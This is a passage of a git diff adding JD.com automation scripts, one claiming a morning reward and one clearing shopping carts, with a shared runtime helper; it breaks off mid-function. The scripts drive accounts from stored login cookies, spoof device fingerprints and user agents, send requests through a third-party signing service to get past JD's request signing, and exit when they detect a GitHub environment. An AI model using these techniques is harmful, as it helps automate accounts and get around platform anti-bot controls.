isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_goodMorning.js b/jd_goodMorning.js new file mode 100644 index 0000000..fe0ea8b --- /dev/null +++ b/jd_goodMorning.js @@ -0,0 +1,488 @@ +/* +早起福利 +更新时间:2021-7-8 +30 6 * * * jd_goodMorning.js +*/ +const $ = new Env("早起福利") +const ua = `jdltapp;iPhone;3.1.0;${Math.ceil(Math.random()*4+10)}.${Math.ceil(Math.random()*4)};${randomString(40)}` +let cookiesArr = [] +let cookie = '' + +!(async () => { + await requireConfig() + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.cookie = cookie; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await goodMorning() + } + } +})() +function goodMorning() { + return new Promise(resolve => { + $.get({ + url: 'https://api.m.jd.com/client.action?functionId=morningGetBean&area=22_1930_50948_52157&body=%7B%22rnVersion%22%3A%224.7%22%2C%22fp%22%3A%22-1%22%2C%22eid%22%3A%22%22%2C%22shshshfp%22%3A%22-1%22%2C%22userAgent%22%3A%22-1%22%2C%22shshshfpa%22%3A%22-1%22%2C%22referUrl%22%3A%22-1%22%2C%22jda%22%3A%22-1%22%7D&build=167724&client=apple&clientVersion=10.0.6&d_brand=apple&d_model=iPhone12%2C8&eid=eidI1aaf8122bas5nupxDQcTRriWjt7Slv2RSJ7qcn6zrB99mPt31yO9nye2dnwJ/OW%2BUUpYt6I0VSTk7xGpxEHp6sM62VYWXroGATSgQLrUZ4QHLjQw&isBackground=N&joycious=60&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=32280b23f8a48084816d8a6c577c6573c162c174&osVersion=14.4&partner=apple&rfs=0000&scope=01&screen=750%2A1334&sign=0c19e5962cea97520c1ef9a2e67dda60&st=1625354180413&sv=112&uemps=0-0&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJSPYvHJMKdY9TUw/AQc1o/DLA/rOTDwEjG4Ar9s7IY4H6IPf3pAz7rkIVtEeW7XkXSOXGvEtHspPvqFlAueK%2B9dfB7ZbI91M9YYXBBk66bejZnH/W/xDy/aPsq2X3k4dUMOkS4j5GHKOGQO3o2U1rhx5O70ZrLaRm7Jy/DxCjm%2BdyfXX8v8rwKw%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=c99b216a4acd3bce759e369eaeeafd7', + headers: { + 'Cookie': cookie, + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Accept-Encoding': 'gzip, deflate, br', + 'User-Agent': ua, + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Host': 'api.m.jd.com' + }, + }, (err, resp, data) => { + try { + data = JSON.parse(data) + if(data.data){ + console.log(data.data.bizMsg) + } + if(data.errorMessage){ + console.log(data.errorMessage) + } + } catch (e) { + $.logErr('Error: ', e, resp) + } finally { + resolve(data) + } + }) + }) + } + +function requireConfig() { + return new Promise(resolve => { + notify = $.isNode() ? require('./sendNotify') : ''; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + resolve() + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function randomString(e) { + e = e || 32; + let t = "abcdefhijkmnprstwxyz2345678", + a = t.length, + n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GIT_HUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch (e) { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch (e) { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) return {}; { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } : this.isSurge() ? { + url: t + } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} \ No newline at end of file diff --git a/jd_gua_cleancart_Panda.js b/jd_gua_cleancart_Panda.js new file mode 100644 index 0000000..4ba9087 --- /dev/null +++ b/jd_gua_cleancart_Panda.js @@ -0,0 +1,369 @@ +/* +清空购物车_Panda接口专用版 +更新时间:2021-10-27 +因其他脚本会加入商品到购物车,故此脚本用来清空购物车 +包括预售 +需要算法支持 +默认:不执行 如需要请添加环境变量 +gua_cleancart_Run="true" +PandaToken="" # PanDaToken + +—————————————— +1.@&@ 前面加数字 指定账号pin +如果有中文请填写中文 +2.|-| 账号之间隔开 +3.英文大小写请填清楚 +4.优先匹配账号再匹配* +5.定义不清空的[商品]名称支持模糊匹配 +6.pin@&@ 👉 指定账号(后面添加商品 前面账号[pin] *表示所有账号 +7.|-| 👉 账号之间隔开 +—————————————— + +商品名称规则 +——————gua_cleancart_products———————— +pin2@&@商品1,商品2👉该pin这几个商品名不清空 +pin5@&@👉该pin全清 +pin3@&@不清空👉该pin不清空 +*@&@不清空👉所有账号不请空 +*@&@👉所有账号清空 + +优先匹配账号再匹配* +|-| 👉 账号之间隔开 +有填帐号pin则*不适配 +—————————————— +如果有不清空的一定要加上"*@&@不清空" +防止没指定的账号购物车全清空 + +*/ +let jdSignUrl = 'https://api.jds.codes/jd/sign' +let jdPandaToken = '' +let cleancartRun = 'false' +let cleancartProducts = '' +let lnrequesttimes=0 +const $ = new Env('清空购物车_Panda'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +message = '' + +jdPandaToken = $.isNode() ? (process.env.PandaToken ? process.env.PandaToken : `${jdPandaToken}`) : ($.getdata('PandaToken') ? $.getdata('PandaToken') : `${jdPandaToken}`); + +cleancartRun = $.isNode() ? (process.env.gua_cleancart_Run ? process.env.gua_cleancart_Run : `${cleancartRun}`) : ($.getdata('gua_cleancart_Run') ? $.getdata('gua_cleancart_Run') : `${cleancartRun}`); + +cleancartProducts = $.isNode() ? (process.env.gua_cleancart_products ? process.env.gua_cleancart_products : `${cleancartProducts}`) : ($.getdata('gua_cleancart_products') ? $.getdata('gua_cleancart_products') : `${cleancartProducts}`); + + +let productsArr = [] +let cleancartProductsAll = [] +for (let i of cleancartProducts && cleancartProducts.split('|-|')) { + productsArr.push(i) +} +for (let i of cleancartProducts && cleancartProducts.split('|-|')) { + productsArr.push(i) +} +for (let i in productsArr) { + if(productsArr[i].indexOf('@&@') > -1){ + let arr = productsArr[i].split('@&@') + cleancartProductsAll[arr[0]] = arr[1].split(',') + } +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if (!jdPandaToken) { + console.log('请填写Panda获取的Token,变量是PandaToken'); + return; + } + if(cleancartRun !== 'true'){ + console.log('脚本停止\n请添加环境变量[gua_cleancart_Run]为"true"') + return + } + if(!cleancartProducts){ + console.log('脚本停止\n请添加环境变量[gua_cleancart_products]\n清空商品\n内容规则看脚本文件') + return + } + if(jdSignUrl.indexOf("://jd.smiek.tk/") > -1) { + return + } + $.out = false + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if(cleancartProductsAll[$.UserName]){ + $.cleancartProductsArr = cleancartProductsAll[$.UserName] + }else if(cleancartProductsAll["*"]){ + $.cleancartProductsArr = cleancartProductsAll["*"] + }else $.cleancartProductsArr = false + if($.cleancartProductsArr) console.log($.cleancartProductsArr) + await run(); + if($.out) break + } + } + if(message){ + $.msg($.name, ``, `${message}`); + if ($.isNode()){ + await notify.sendNotify(`${$.name}`, `${message}`); + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + +async function run(){ + try{ + let msg = '' + let signBody = `{"homeWishListUserFlag":"1","userType":"0","updateTag":true,"showPlusEntry":"2","hitNewUIStatus":"1","cvhv":"049591","cartuuid":"hjudwgohxzVu96krv/T6Hg==","adid":""}` + let body = await jdSign('cartClearQuery', signBody) + if($.out) return + if(!body){ + console.log('获取不到算法') + return + } + let data = await jdApi('cartClearQuery',body) + let res = $.toObj(data,data); + if(typeof res == 'object' && res){ + if(res.resultCode == 0){ + if(!res.clearCartInfo || !res.subTitle){ + msg += `${res.mainTitle}\n` + console.log(res.mainTitle) + }else{ + let num = 0 + if(res.subTitle){ + num = res.subTitle.match(/共(\d+)件商品/).length > 0 && res.subTitle.match(/共(\d+)件商品/)[1] || 0 + msg += res.subTitle + "\n" + console.log(res.subTitle) + } + // console.log(`共${num}件商品`) + if(num != 0){ + let operations = [] + let operNum = 0 + for(let a of res.clearCartInfo || {}){ + // console.log(a.groupName) + // if(a.groupName.indexOf('7天前加入购物车') > -1){ + for(let s of a.groupDetails || []){ + if(toSDS(s.name)){ + // console.log(s.unusable,s.skuUuid,s.name) + operNum += s.clearSkus && s.clearSkus.length || 1; + operations.push({ + "itemType": s.itemType+"", + "suitType": s.suitType, + "skuUuid": s.skuUuid+"", + "itemId": s.itemId || s.skuId, + "useUuid": typeof s.useUuid !== 'undefined' && s.useUuid || false + }) + } + } + // } + } + console.log(`准备清空${operNum}件商品`) + if(operations.length == 0){ + console.log(`清空${operNum}件商品|没有找到要清空的商品`) + msg += `清空${operNum}件商品|没有找到要清空的商品\n` + }else{ + let clearBody = `{"homeWishListUserFlag":"1","userType":"0","updateTag":false,"showPlusEntry":"2","hitNewUIStatus":"1","cvhv":"049591","cartuuid":"hjudwgohxzVu96krv/T6Hg==","operations":${$.toStr(operations,operations)},"adid":"","coord_type":"0"}` + clearBody = await jdSign('cartClearRemove', clearBody) + if($.out) return + if(!clearBody){ + console.log('获取不到算法') + }else{ + let clearData = await jdApi('cartClearRemove',clearBody) + let clearRes = $.toObj(clearData,clearData); + if(typeof clearRes == 'object'){ + if(clearRes.resultCode == 0) { + 